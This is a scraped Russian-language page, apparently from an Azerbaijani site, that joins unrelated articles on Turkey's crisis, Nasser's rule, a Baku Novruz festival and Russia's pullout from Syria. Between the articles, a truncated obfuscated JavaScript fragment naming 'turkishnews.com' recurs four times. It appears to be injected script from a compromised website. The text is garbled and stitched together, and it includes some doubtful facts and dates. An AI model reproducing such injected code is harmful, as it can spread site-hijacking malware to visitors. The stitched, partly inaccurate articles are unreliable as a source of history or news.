Значительные потери несёт сельское хозяйство Турции, лишившисьогромного, неограниченного рынка сбыта, каким была Россия, и, соответственно, одна из главных политических опор действующего режима – жители села. Овощеводство, плодоводство,цветоводство,расцветшие за счёт гарантированногопотребления, испытывают самые большие трудности из-за кардинального ограничения сбыта. На этом фоне обостряется давняя проблема турецкого сельского хозяйства, состоящего, восновном, из небольших мелких хозяйств с невысокой экономической отдачей, которымтеперь уготован один путь – разорение. Для правительстваэто уже обернулось потерей самого верного электората в виде жителей сельской местности.Конечно, своё «спасибо» скажут банки, кредитующие эти направления, и оказавшиеся в тяжелейшем положении. А для иностранных инвесторов – это верный показатель того, что Турция – территория «опасных инвестиций».

Прямым доказательством потери ПСР электората стали события в политической жизни Турции прошлого года.В июне ПСР впервые за десять лет потеряла большинство в турецком парламенте. Не удалось добиться главной цели – внести изменения в конституцию и превратить Турцию из парламентской республики в президентскую. Зато впервые преодолела избирательный барьер Народно-демократическая партия. В результате так и не удалось сформировать коалиционное правительство, и в стране произошёл серьёзный политический кризис, приведшийк роспуску Великого национального собрания и объявлению досрочных парламентских ​выборов. Вноябре, включив все административные рычаги,ПСР вышла на «последний бой» и набрала чуть больше восьми процентов, чем в июне, и только так снова стала «правящей силой». Для всех экспертов очевидно, что политические баталии в стране не только не закончились этими досрочными выборами – страну ожидает серьёзное гражданское противостояние. Для действующего правительства Турции появилась усиливающаясяс каждым днём опасность повторения той самой ситуации, котораякогда-то привела к победе Партию справедливости и развития. Но на этот раз ситуация обернётся против самой действующей власти.

Айгюнь Керимли

http://ethnoglobus.az/index.php/blizhnij-vostok/turtsiya/item/1572-%D1%82%D1%83%D1%80%D1%86%D0%B8%D1%8F-%D0%BE%D1%82-%D1%8D%D0%BA%D0%BE%D0%BD%D0%BE%D0%BC%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B3%D0%BE-%D1%87%D1%83%D0%B4%D0%B0-%E2%80%93-%D0%BA-%D0%BA%D1%80%D0%B8%D0%B7%D0%B8%D1%81%D1%83-%D0%B4%D0%BE%D0%B2%D0%B5%D1%80%D0%B8%D1%8F

 

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "turkishnews.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Гамаль Насер –восточный деспот и друг Советского Союза

NasserГамаль Абд ан-Насир (جمال عبد الناصر) родился 15 января 1918 года в Александрии, а не в Бени-Мур провинция Асьют (верхнее течение Нила). Арабы Египта произносят Гамал, а не Жамил как в стандартном арабском. Гамаль Абд ан-Насир умер своей смертью от инфаркта миакарда 28 сентября 1970 года в Каире в возрасте 52 лет. Гамаль родился в семье почтового служащего. [1] В 1935 окончил среднюю школу в Каире.

В последние годы правления короля Фарука высокой степени достигла политизация образованного класса, например, в школе, в вузе и на воинской службе было возможно заниматься антиправительственной заговорщицкой деятельностью. Если в арабских школах ученики ограничивались нелояльными к власти диспутами, то школьник Гамаль, в своей политической активности пошел дальше: участвовал в демонстрации, получил от полицейского по лбу, полученным шрамом гордился всю жизнь и при случае рассказывал. [2] Биография Насера, как биография любого диктатора, сфальсифицирована и героизирована. История со шрамом на лбу разрасталась героическими подробностями после каждого газетного интервью. Выяснилось, что это не банальный удар полицейского в лоб с рассечением, а пуля в лоб, после которой была серьезнейшая операция. Героический мальчик остался жив и, впоследствии спас Египет от жестоких колонизаторов и их приспешников. Нет никаких сомнений, что Насер героическая и пассионарная личность. Но в этой истории есть противоречия и логические нестыковки.

В 1939 — служил в военном училище младшим лейтенантом. Служил в воинских частях в Египте и Судане. В 1942 году был направлен в военный колледж Генерального штаба, который закончил с отличием. Участник арабо-израильской войны 1948-49, был ранен. В более зрелом возрасте арабское разночинское офицерство создавало тайные политические организации. Наконец, наиболее известной была организация «Свободные офицеры», готовившие заговор против короля Фарука. Организаций недовольных режимом офицеров было немало. Особенно много недовольных стало после арабо-израильской войны 1948 года, когда в Египет оказался числе арабских стран проигравшей стороны. В начале 1950-х годов создаются условия для консолидации военных, подобных Насеру и Анвару Садату, ставшего впоследствии вице-президентом и президентом Египта после смерти Насера. Среди заговорщиков было немало радикальных личностей, склонных к террористическим действиям, имевших судимость за терроризм. [3]

Организация «Свободные офицеры» Насера заставила 26 июля 1952 г. короля Фарука уйти в отставку.

Тот удалился сперва в Шарм Аш-Шейх, теперь это курортное место с фешенебельными отелями. Затем король Фарук бежал в Монако, но жил Риме. Короля Фарука в народе не любили. Может быть, потому что был слишком покладист для Британских интересов. Может быть, из-за женитьбы во втором браке на простолюдинке. А еще в народе говорили, что король «хлыщ еще тот» : завел шашни английской писательницей второго эшелона, затем итальянской певичкой. Да Фарук Первый (فاروق الأول) был человеком любвеобильным и делал это напоказ. Вообще члены королевской семьи вели себя вполне светски, говорили по-английски и по-французски, одевались и жили по европейским манерам. Разумеется, казна королевства тратила огромные деньги на королевские прихоти. И народ об тоже знал.

Среди девяти членов Комитета движения «Свободных офицеров» был подполковник Гамаль Абдель Насер. Заговорщики попросили Али Махир возглавить правительство. «Свободные офицеры» сформировали «Совет революционного командования» (СРК). Только через два года после революции 1952 года власть переходит к Насеру. Путем политических интриг и вероломства, являясь вторым лицом, премьер-министром правительства, Насеру удалось отстранить официального руководителя страны- Нагиба. По части интриг, вероломства и жестокости обращения с политическими оппонентами и просто конкурентами арабские лидеры многое взяли из опыта лидеров СССР и собственных деспотов. Арабские диктаторы – Саддам Хуссейн, Муаммар Каддафи, Анвар Садат, отец и сын Асады по сути их наследники на Арабском Востоке в 20 веке. С приходом в Египет к власти Насера и «ростом его авторитета в арабском мире» ситуация в регионе снова обострилась. Насер, стремясь воплотить в жизнь пан арабскую идею, предполагал вытеснить англичан с региона, уничтожить Израиль и восстановить господство и былое превалирование ислама в регионе. Насер был настроен против США, Великобритании и Израиля. Он стал союзником СССР. Советский Союз поддерживал Египет в ее панарабских устремлениях. Отказ Запада в строительстве Асуана означал дальнейшее ухудшение отношений Египта с Западом и Израилем. Насер надумал национализировать Суэцкий канал. В ответ произошла Англо-Франко-Израильская агрессия против Египта (1956). Благодаря помощи СССР Насер выпутался из безнадежной ситуации.

Насер активно выступал за «единство арабских народов в их борьбе против империализма и за национальную независимость». На деле это оказалось очередным проявлением панарабизма. Объединенная Арабская Республика (ОАР) в 1958-1971 гг. на огромной территории в Северной Африке и Передней Азии, в 1961 года являлась союзом двух стран — Сирии и Египта. Реально это была конфедерация арабских государств. Это было импульсивным и рыхлым объединением и было создано на основе идеологии баасизма и панарабизма. Насер осуществил комплексный набор классических социалистических реформ: В 1960 — 1961 гг. в ОАР произошла национализации банков и частных предприятий в объединенной стране. В ее руководстве доминировали египтяне, но сирийцы также занимали многие важные посты. Однако вскоре Насер распустил все сирийские политические партии. В Сирии началась масштабная национализация сельского хозяйства, а затем промышленности и банковского сектора. [4]Конфедерация арабских государств оказалась слабой: объединенная республика периодический консолидировалась и расконсолидировалась. Наконец, конфедерация распалось окончательно. Последствия экономических преобразований оказались негативными. Произошло дестимулирование хозяйственного механизма в банковской, промышленной и аграрной сферах. Несмотря на помощь СССР, ситуация в Египте и других арабских странах шла по линии углубления общего системного кризиса. Насеру не удалось ни собрать воедино арабские страны, ни обеспечить развитие индустриального, банковского, аграрного секторов. Военный потенциал арабских стран был недостаточен и не мог обеспечить общеарабской победы над Израилем. Насер, председатель Арабского социалистического союза, несмотря на новое военное поражение Египта в арабо-израильской войне 1967 года и, вызванные этим поражением экономические и политические трудности, он при поддержке народных масс продолжал курс на «осуществление прогрессивных» социально-экономических мероприятий.

В 1968 Насер выдвинул программу действий по ликвидации последствий поражения Египта в арабо-израильской войне 1967 года путем войны на истощение Израиля. Этот план не удался. Насер — инициатор и активный участник многих международных конференций глав государств и правительств, на которых отстаивал дело народов, борющихся за свободу и независимость. Борьба за независимость несомненно прогрессивное явление. Но она сопровождалась войной между вновь образованными странами-соседями, чуть ли ни на второй день. Изнурительные войны разрушали все пост колониальные страны. Следует сказать о позитивной стороне работы Насера. Во-первых, была построена Асуанская плотина. Правда, она строилась слишком долго. Были объективные и субъективные причины. Финансовое, инженерное, технологическое обеспечение проекта перешло от западных стран к СССР. Это был серьезный шаг в индустриализации страны. [5]Во-вторых, Египет стал вполне независимым государством. Египет с этих пор –лидер арабского мира. Хотя не удалось создать единое арабское государство, удалось создать конфедерацию арабских государств. Более того вырос местнический национализм. Попытки узаконить диалекты арабского языка как национальные языки в семье арабских языков. В-третьих, в Египте были расширены права женщин, включая избирательное право. Насер обеспечил терпимость и не дискриминацию коптов. Много сделано в повышении образовательного уровня населения. В сегодняшнем Египте грамотность на уровне 15%, еще 15%-полуграмотное, остальные — неграмотное население. Редко, где можно встретить работающую женщину. Чаще это копты-арабы христиане. Насер то заигрывал, то истреблял мусульманских экстремистов. В-четвертых, считается, что Насер создал средний класс. Но это были в большинстве своем государственные чиновники и офицерство в армии, полиции и других силовых структурах. В-пятых, им были уничтожены дискрептивы феодализма- помещичье землевладение. Однако раздача орошаемых помещичьих земель означало парцеллизацию участков. Орошаемые земли крестьян делились на бесконечно малые участки и превращались в обузу для крестьян. Прокормиться на таких маленьких участках было невозможно. В-шестых, Насер создал сперва демократическое государство, свергнув королевскую власть. Но его режим трансформировался в авторитаризм и диктатуру.

Насер провел в Египте только частичную модернизацию. Но он проводил ее в крайне неблагоприятных условиях. Это такие факторы: отказ от рыночных механизмов. Блокада Египта Западом и изоляция от стран Запада. Насер не диверсифицировал международные отношения Египта в период «холодной войны». Насер окончательно испортил отношения с Западом в ходе войн Египта с Западом и Израилем в 1956 и 1967 и период войны на истощения Израиля. В 1956 году он едва не спровоцировал Третью мировую войну, балансируя на грани термоядерной войны. Милитаризм-опора на военных и бюрократию. Вот социальная опора режима. Популизм и арабский национализм. Проявлением социального популизма были субсидии государства на основные продукты питания городскому плебсу. Арабский национал – популизм на держится на идее арабского мира. Арабский религиозный популизм стоит на фундаментальном исламе. Значительная часть государственных расходов шла на военизацию. Войны Египта были неудачны. Оружие получали из СССР и стран Варшавского пакта. Египет был «в долгах как в шелках» и не мог возвратить долги. Он дружил только с Советским Союзом и эту конфронтацию до уровня жесткого противостояния. За приверженность внешнеполитическому к курсу СССР Насер был удостоен звания Героя Советского Союза. Зато Насеру не удалось оседлать движение «позитивного нейтралитета». Существовала невозможность получения кредитов у Запада. Высокий уровень перенаселения в стране, из-за высокого уровня воспроизводства населения и высокой рождаемости. Высокая миграция в крупные города и формирование значительного слоя городских пауперов. Городские пауперы тротиловый заряд городских революций. Невозможность обеспечить детей дошкольными и школьными учреждениями. Быстрорастущее население невозможно было обеспечить медицинскими учреждениями. [6]

…………………………………….

1.http://www.peoples.ru/state/statesmen/naser/

2. http://nasser.bibalex.org/Common/pictures01-%20sira.htm السيرة الذاتية

3. http://www.history.com/this-day-in-history/state-of-israel-proclaimed; Азимбай Гали Президент Египта Мухаммад Анвар аль-Садат (история) 13.03.2016 www.centrasia.ru; https://www.onwar.com/aced/chrono/c1900s/yr50/fegypt1952b.htm

4. https://ru.wikipedia.org/wiki

5. http://www.britannica.com/biography/Gamal-Abdel-Nasser

6. Азимбай Гали Arabica-кофе без кофеина. Причины кризиса в арабском мире и его последствия. Palmarium academic publishing. Saarbrucken. 2015,57c.

Автор: Азимбай Гали — доктор исторических наук, Алматы

Источник — ЦентрАзия

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "turkishnews.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

В Азербайджанe начались празднование Новруз байрам


DSCN0028В Азербайджанe начались празднование Новруз байрам.  В Крепостной части Баку открыты шатры для продажи продукции народных умельцев.

Примечательно, что в этом году много можно было увидеть также DSCN0036шатры , где продавались книги. которые привлекало внимание гостей. DSCN0027

Также , как и предыдущие годы демонстрировались рукоделия мастеров , имеющих инвалидность.

Также проводились акции  сбора денег для детей инвалидов.DSCN0001

Гости также могли ознакомиться косметической продукцией Азербайджана.DSCN0025

Гостей радует песни и музыка, канотоходцы и силачи. Персонажи азербайджанских народных сказоки герои Новруза любимцы гостей.

Эта древняя традиция Новруза помогать неимущим и больным , поддерживать нуждающихся.DSCN0017

Как всегда можно увидеть много гостей из Ирана. Но с каждым годом Азербайджан в дни Новруз посещают

много гостей из разных стран, которые могли воспользоваться услугами волонтеров.DSCN0004

Новруз продолжается в поселке Гала, где находится музей на открытом воздухе.DSCN0032DSCN0005

Сотрудничество Москвы и Анкары в борьбе с терроризмом неизбежно

mehmet perincek-2Несмотря на то что российско-турецкие отношения переживают сильнейший кризис за последние двадцать пять лет, оба государства должны взаимодействовать в борьбе против исламского терроризма. Кроме того, Россия и Турция могли бы совместно противостоять США, считает сотрудник Стамбульского университета, доктор исторических наук Мехмет Перинчек.

Политолог отмечает, что союз Москвы и Анкары на Ближнем Востоке неизбежен: только совместными усилиями можно победить терроризм, причём дожидаться ухудшения ситуации в регионе не стоит. В интервью «Русской планете» аналитик подчеркнул, что глава Турецкой республики Реджеп Тайип Эрдоган совершил большую ошибку, сбив российский бомбардировщик Су-24.

«Но нужно отделять саму страну от действий её руководства. Случившееся больно ударило не только по Москве, но и по Анкаре», — полагает Перинчек. Он убеждён, что сегодня для Турции остаётся весьма существенной угроза со стороны Вашингтона, и для сохранения суверенитета государству нужно создавать международные союзы. Сведя на нет отношения с Россией, республика осталась буквально одна, отмечает политолог. «Это идёт на руку США, которые привлекут Анкару на свою сторону, прикрываясь российской угрозой, будут использовать турков в своих интересах и попробуют разделить республику», — выразил мнение эксперт. Помешать американским планам способно налаживание российско-турецких отношений. К тому же у государств есть общие интересы на Кавказе, говорит Перинчек. «Сейчас Анкара должна исправить свою ошибку. Нужно понимать, что Россия и Турция столкнулись с американской угрозой, а сложившаяся ситуация отвечает лишь интересам Вашингтона», — резюмировал политолог.

Президент Израиля и госсекретарь США спешат договориться с Москвой о Дамаске

syria-mapВывод российской группировки из Сирии, ставший приятной неожиданностью для США и противников Башара Асада, может отвернуть от Москвы Дамаск, Тегеран и «Хезболлу». Пентагон призывает не торопить события, а госсекретарь США Джон Керри – воспользоваться выпавшим шансом и положить конец войне в Сирии. Однако завершение кампании может не только способствовать мирным переговорам, но и обернуться распадом Сирии.

Джон Керри посетит Москву на следующей неделе, и сирийская тема станет центральной в повестке дня. Дипломаты обсудят и другие аспекты ситуации на Ближнем Востоке и в Северной Африке с учетом расползания «Исламского государства» (ИГ, запрещенная в России террористическая группировка. – «НГ»), заявил вчера глава МИД РФ Сергей Лавров.

По словам представителя Госдепа Джона Кирби, цель поездки его шефа – «поиск путей для продвижения политического процесса в Сирии». Сам Керри в Twitter написал, что через пять лет после начала гражданской войны в Сирии появилась реальная возможность покончить с насилием, и этим моментом нужно воспользоваться. Решение о выводе российской группировки совпало с началом мирных переговоров между правительственной делегацией и оппозиционными группировками в Женеве, и теперь у повстанцев нет причин игнорировать консультации.

Однако военные США настороженно отнеслись к инициативе Владимира Путина о выводе группировки. Официальный представитель Пентагона Питер Кук заявил, что США будут «ждать, чтобы убедиться», действительно ли Путин искренен в своем решении, пишет Hill. Он добавил, что Пентагон зафиксировал продолжение авиаударов в Сирии после заявления президента РФ.

В свою очередь, Кирби заметил, что США «не знают, не понимают и не могут комментировать мотивы, побудившие главу России объявить о выводе ВКС». Но это решение является «потенциально обнадеживающим и позитивным знаком».

Как пишет Financial Times со ссылкой на высокопоставленный источник в европейских спецслужбах, Россия вывела войска, потому что ее план блицкрига провалился. Москва рассчитывала провести быструю военную кампанию и за несколько месяцев помочь Асаду вернуть контроль над территориями и ослабить повстанцев. Однако ожесточенное сопротивление оппозиции, напряженное противостояние с Турцией и перспектива того, что мировые цены на нефть останутся на уровне 40 долл. за баррель, больно ударили по России и сократили ее возможности.

Тем временем в Москву прибыл президент Израиля Реувен Ривлин с целью заручиться поддержкой России на Ближнем Востоке. Издание Walla со ссылкой на источники в руководстве Израиля пишет, что там пытаются понять, что заставило Москву вывести свой контингент. На вчерашней встрече с Путиным Ривлин выразил озабоченность в связи с укреплением позиций Ирана и «Хезболлы», создавших шиитскую ось в канун и после ухода российской группировки.

И здесь позиции России и Израиля, по мнению Тель-Авива, совпадают. «Русские не хотят допустить чрезмерного усиления Ирана, – уверен источник в окружении Ривлина. – Они также понимают, что укрепление позиций «Хезболлы» в Сирии плохо для всех». Израиль, формально сохраняя нейтральную позицию в Сирии, периодически наносит авиаудары, чтобы сорвать переброску оружия «Хезболлой».

Арабские СМИ сообщили, что после заявления Путина «Хезболла» якобы приступила к выводу отрядов из Сирии. Однако сама группировка назвала эти слухи нелепыми «проявлениями психологической войны» медиа, работающих по указке ближневосточных монархий.

Иран позитивно оценил вывод российских подразделений. «Тот факт, что в России объявили, что отзывают часть своих сил, указывает на то, что они не видят непосредственной необходимости прибегать к применению силы в поддержании режима прекращения огня, – заявил глава МИД Ирана Мохаммад Джавад Зариф, передает Press TV. – Это само по себе положительный шаг».

Однако в действительности Тегеран может придерживаться прямо противоположной позиции, утверждает Bloomberg. Вывод войск грозит охлаждением отношений между Россией и Ираном.

Старший научный сотрудник Института востоковедения РАН Владимир Сажин обратил внимание еще на один аспект. «Я бы не сказал, что наши отношения когда-либо были очень хорошими, чтобы ухудшились еще сильнее. И даже президент Хасан Рухани, который положительно относится к России и при котором наши связи углубились, признал, что у Москвы и Тегерана нет совпадения позиций по Сирии, – заявил он «НГ». – Иран не может потерять дружественное алавитское руководство в Сирии, а России по большому счету безразлично, кто будет новым руководителем – суннит, алавит, христианин, – главное, чтобы он понимал и оценивал реальные интересы России в регионе».

При этом эксперт напомнил о разногласиях в самом Тегеране. «Иран официально приветствовал решение России. Если же говорить о реальном положении, то в элите нет единого мнения о роли Ирана в Сирии и соответственно роли России в этой стране, – подчеркнул Сажин. – Внутриполитическая ситуация в Иране очень сложная: Корпус стражей иранской революции ратует за усиление Ирана в Сирии, так называемые реформаторы предлагают решать конфликт дипломатическим путем, третья группа предлагает воевать чужими руками и нанимать добровольцев, отправляя их в Сирию. За последние полтора года Иран понес колоссальные потери: погибли восемь генералов, что вызвало недовольство в Тегеране».

Для сирийских властей слова Путина тоже стали сюрпризом, заявили источники в правительстве в беседе с ливанской газетой As-Safir. Собеседники раскритиковали договоренности России и США, которые, по их словам, нивелировали давление на повстанцев.

Вывод войск может не только пошатнуть позиции Асада, но и расколоть Сирию. Курды, контролирующие север страны, готовятся объявить об автономии или хотя бы расширить рамки самоуправления и создать собственные органы исполнительной власти, передает Reuters. Курды объединят три автономных района в единую федеральную систему, и это уже крайне встревожило Анкару, которая опасается, что следующим шагом станет создание независимого Курдистана на территории Сирии, Ирака и Турции.

Евгений Медведев

17.03.16

Источник — ng.ru

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "turkishnews.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Россия уходит из Сирии, чтобы вернуться?

Тофик Аббасов

На сирийском направлении устанавливается относительное затишье, однако наивно полагать, что спокойствие превратится в долгожданный перманент. Согласно давно сложившейся практике, мир на полях военных действий непременно вызывает ожесточенную волну политических интриг в коридорах. Вокруг сирийского поля они и так никогда не утихали. А уж после ухода российских военных сил с театра боевых действий точно следует ожидать всплеска дипломатических сражений.

Пока обозначился неожиданный поворот, а решение Москвы о выводе своей ударной группировки из конфликтной среды стало полной неожиданностью для заинтересованных акторов и сообщества, повышается градус интенсивных закрытых консультаций. Если маневры главных действующих лиц не так уж и отчетливо проливают свет на структуру контуров плана разблокирования кризиса, то телодвижения второстепенных участников предоставляют достаточную пищу и для размышлений, и для реалистичных  выводов.

В одном уж точно можно не сомневаться – почти все из игроков, находящихся в фазе активного действия, что-нибудь да отвоюют для удовлетворения собственных ожиданий, но больше перепадет тем, кто выбился в лидирующую группу.

Уходим, чтобы вернуться?!

Россия из Сирии уходит, но этот уход не стоит квалифицировать в качестве фиаско или же действия вынужденного характера. Во-первых, Москва выводит ударную группировку из состава воздушно-космических сил, а не полностью покидает место дисклокации. База в Хмеймиме, да и в Тартусе тоже, не перестают существовать. Они в прежнем режиме будут осуществлять мониторинг, а значит, тщательно прослеживать движения присутствующих сил, в том числе исламистских радикалов, а также тех, кто все предыдущее время были главными источниками питания террористической машины джихадизма.

Западная пресса с подачи ведущих аналитических центров поторопилась заявить, что Москва добилась главной цели – тестирования новых видов вооружений, которые ныне являются основным источником валютных поступлений для страны, находящейся в плотном кольце западных санкций. Но насколько верно эту цель обозначать в качестве стратегической для бывшей сверхдержавы, которая на протяжении последних двух десятилетий находилась в фактическом положении «вне игры» в разрешении глобальных задач?

Главным намерением для Москвы в Сирии, скорее, было успешное возвращение себе утраченного статуса сверхдержавы. Если кому-то казалось, что построение нового расклада на Ближнем Востоке после известных операций западной коалиции в Ираке, Ливии, Афганистане, Сомали закрепило окончательное исключение России из шорт-листа дееспособных акторов, то Кремль решил по-иному. Дав горячую заявку на обязательное присутствие в зоне повышенной геополитической активности, он поставил конкурентов перед фактом.

В предыдущие годы США вместе с союзниками пытались замуровать Москву в блок внутренних приоритетов. Дерзкое вхождение Кремля в сирийский акт показало, что слухи о медленной и верной деградации России не только сильно преувеличены, но и вовсе не соответствуют действующему положению вещей.

Наконец, Россия определилась с новыми союзниками, нащупав возможности для военно-политической кооперации со странами, на которых можно положиться в непредвиденных обстоятельствах. Иран, Ирак, Сирия, Иордания, Ливан в определенном смысле оказались адекватными для России партнерами. К тому же Москва после долгих лет умиротворенного состояния прошла боевое военно-политическое крещение в новых условиях в серьезной заморской операции, отстояв виды на полноправное участие в глобальных процессах.

Добровольный уход российских сил из зоны конфликта, получивший одобрение ООН и главных действующих лиц, заслуживает одобрительной оценки по определению. Не случайно даже сирийская оппозиция поддержала этот жест.

Но при всех случаях надо бы помнить, что речь идет не об уходе стороны, которая провалила операцию. Успешное выполнение поставленной задачи и стало поводом для принятия решения о выводе ударной группы. Не исключено, что при надобности Москва может вернуться.

Тактические цели стратегическим рознь

Главным вопросом повестки остается все тот же, который вот уже пять лет будоражит воображение политиков и экспертного сообщества – что же будет с Сирией, какую судьбу ей готовят сильные мира сего? Теперь, когда обстановка претерпела серьезные изменения в пользу официального Дамаска, Башар Асад и его сторонники полны решимости иметь свое мнение о будущем страны и добиваться его исполнения.

Наивно предполагать, что Россия и ее союзники добьют противника в лице разношерстной сирийской оппозиции и террористического интернационала, который был десантирован в многострадальную страну усилиями государств Персидского залива, других региональных игроков, поддерживаемых западными кругами. Сращение террористов с разумной оппозицией произошло вопреки ожиданиям умеренно настроенных сил. Пришлось потрудиться, чтобы отсечь горячие головы от рационально мыслящих противников Асада. Вот в этой разбивке и пригодился огненный шквал российских воздушно-космических сил.

Но противники на поле брани все еще остаются, благо расклад сил резко изменился в сторону разрядки. Раз ИГИЛ и его спутники уже не фавориты силовой партии и соблюдаются условия перемирия, значит, ударный акцент переносится на поле политического перетягивания каната. Тут-то и закручивается вихрь интриг.

Условно такая постановка вопроса, как схватка суннитской и шиитской коалиций, имеет право на существование. Впрочем, многое из того, что позволяют себе менее удачливые игроки – Саудовская Аравия, Турция, Катар, ОАЭ, Кувейт, Бахрейн, показывает, что на второстепенных полях политических трений еще долго будет жарко.

Например, саудиты уже бросились наказывать Ливан, как страну, которая не удосужилась обломать крылья Хезболле, как наиболее опасному актору, способному повлиять на положение вещей в ожесточенном споре. Эр-Рияд и идущие с ним нога в ногу страны залива приступили к санкциям в отношении ливанских бизнесменов из числа христиан и шиитов.

Наряду с этим саудиты активно выводят свой капитал из Ливана, закрывают кран экономической помощи этой стране и ее армии. Возможно, это и есть проявление эмоционального срыва у стороны, которая чрезмерно уверовав в собственные силы, на деле оказалась неспособной решить заявленные высокие цели.

Чем же ответил Иран, который никогда не скрывает своего участия в региональных процессах на стороне шиитских сил. Тегеран ответил мощным ракетным ударом по позициям ИГИЛ и других группировок, воюющих против Башара Асада.

Фактически это был довольно многозначительный ответ не только саудитам, но и Израилю, который за все предыдущие годы тайно кооперировался с монархиями Персидского залива в противостоянии с Ираном.

Ракетная активность Хезболлы в регионе – это серьезная заявка на то, что и Тегеран, выводя своих бойцов из Корпуса стражей исламской революции, не собирается занимать позицию тихого ягненка. Его мощная и хорошо вооруженная креатура в состоянии в любой момент заговорить огненным языком.

Тут кстати вспомнить, что ракетный потенциал Хезболлы не на шутку беспокоит Тель-Авив, который во время войны 2006-го года, идя на ковровые бомбардировки ливанских городов, так и не смог решить задачу уничтожения подземной инфраструктуры шиитской организации, позиционирующей себя, как ядро израильскому сопротивлению.

Так что, дружба саудитов и израильтян против общего врага – Ирана, снова не дала ожидаемого результата, и теперь главные взоры направлены на то, как пойдут дела за столом переговоров и в чью пользу завершится женевский процесс.

Чего ждать?

Огонь гражданской войны в Сирии еще долго будет тлеть. Очень даже возможно, что джихадистская активность после начала переговоров в Женеве переменит адрес и переберется на север Ирака.

Не все герои событий из числа полевых командиров уничтожены. По данным российской разведки, ликвидировано около 20 опасных командиров, и дабы не дать им возможность вернуться в родные пенаты в странах Залива и других частях света, патроны будут продолжать их пичкать финансами и оружием, воодушевляя на новые подвиги в борьбе за «чистый ислам».

В Сирии начинается интересный акт. Проасадовские силы, поймав кураж, полны решимости навязать спаррингам свой план. Оно и понятно – все, кто поддерживал Асада, на данный момент тактические победители завершившейся фазы силового противостояния.

Они настроены на то, чтобы наконец-то появилась дорожная карта, в соответствии с которой будет предопределен план дальнейших действий. Так, если ничего экстраординарного не произойдет, через 18 месяцев могут состояться долгожданные выборы в национальный парламент.

Но до того предстоит очень непростой этап координации деятельности международной группы поддержки Сирии, посреднических сил и региональных стран. И тут обращает на себя внимание одно немаловажное обстоятельство.

В последние дни в мировой прессе циркулируют информационные сбросы о существовании так называемого плана «Б», за которым наблюдается кулуарная активность групп, поддерживаемых Эр-Риядом.

Стеффан де-Мистура, как обладатель мандата спецпосланника Генерального секретаря ООН, по этому поводу уже высказался довольно внятно и резко, заметив, что под планом «Б» следует подразумевать только возврат к еще более жестокой войне, чем та, что имела место до настоящего времени. Это в своем роде предупреждение сообществу, и судя по всему, С. де-Мистура осознает хрупкость положения, располагая инсайдеровской информацией о тайных играх тактических аутсайдеров.

По дипломатическим каналам стало известно, что некие эмиссары из Саудовской Аравии в последние дни обивали пороги в Штатах, пытаясь актуализировать проблему нейтрализации Хезболлы под шапкой общей борьбы с террором. Выслушав гостей, американские персоны культурно отказали в просьбе, заявив, что во взрывоопасном регионе имеются проблемы поважней, чем ливанская группировка и ее цели.

Вежливый отказ на запрос, безусловно, не удовлетворил саудитов, а стало быть, они не откажутся от своих намерений, и одним из реальных мишеней Эр-Рияда будет не только ненавистная шиитская группировка, но и сам переговорный процесс, точнее, его подрыв.

Есть более чем явные предпосылки для кооперации в этом русле для таких игроков, как Турция и страны залива. Если суннитское содружество и дальше будет накалять атмосферу вокруг политического процесса, то эскалация ассиметричных военных действий станет неизбежной. И не имеет смысла питать надежду, что она обойдет стороной всех, кто видит единственный выход в возобновлении жестокой второй фазы войны.

Чудовищные вылазки террористов в Турции уже показали, насколько чреваты попытки приручить адскую машину, и во что иной раз выливаются намерения извлечь из чужих войн шкурную выгоду. Большинство арабских стран залива пока могут держать воинствующие группировки на дистанции. Но Турции это не удается. Курдский сегмент сирийских сил принял вызов Анкары, и теперь орудует инструментарием гибридных и ассиметричных кампаний.

Единственно верной альтернативой кровавой вакханалии был и остается всеобъемлющий мир. Предпосылки для его достижения более чем реальны. Остается только принять эту истину без раздражения и с трезвой головой, даже если события не во всем оправдывают чьи-то ожидания.

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "turkishnews.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Пять лет сирийской эпопеи

syria-map5 марта исполнилось пять лет со времени начала весной 2011 года большой сирийской смуты, переросшей в гражданскую войну и иностранную интервенцию. В тот день, 15 марта 2011 года, полиция задержала в городе Дераа нескольких подростков, рисовавших антиправительственные лозунги на стенах домов. Через несколько дней стало известно, что некоторые из задержанных умерли под пытками в тюрьме. Известие всколыхнуло население Дераа и других городов, в стране начались массовые антиправительственные демонстрации, усиленные вмешательством в сирийские дела Саудовской Аравии, Турции и Запада…

Внешние силы умело использовали сложившиеся в Сирии к началу 2011 года предпосылки внутреннего кризиса. Большой ущерб стране нанесли либеральные экономические реформы, проводившиеся в начале 2000-х годов Абдаллой Дардари (его называли «сирийским Чубайсом»). В результате «реформ» возросло социальное неравенство; появившееся недовольство усугублялось всевластием сирийских спецслужб, которых в стране насчитывалось двенадцать и которые начали подменять собой партию БААС. Положение осложнялось тем, что в 2004-2009 годах в Сирии свирепствовала засуха, около трех миллионов сельских жителей перебрались в города. Там им приходилось жить в трущобных поселках, на грани нищеты, и это была готовая почва для распространения пропаганды экстремистов-салафитов.

Вместе с тем по сравнению с Египтом, Йеменом и еще добрым десятком арабских государств Сирия была благополучной страной с динамично развивающейся экономикой, полностью обеспечивавшей себя продовольствием, активно влиявшей на обстановку на Ближнем Востоке.

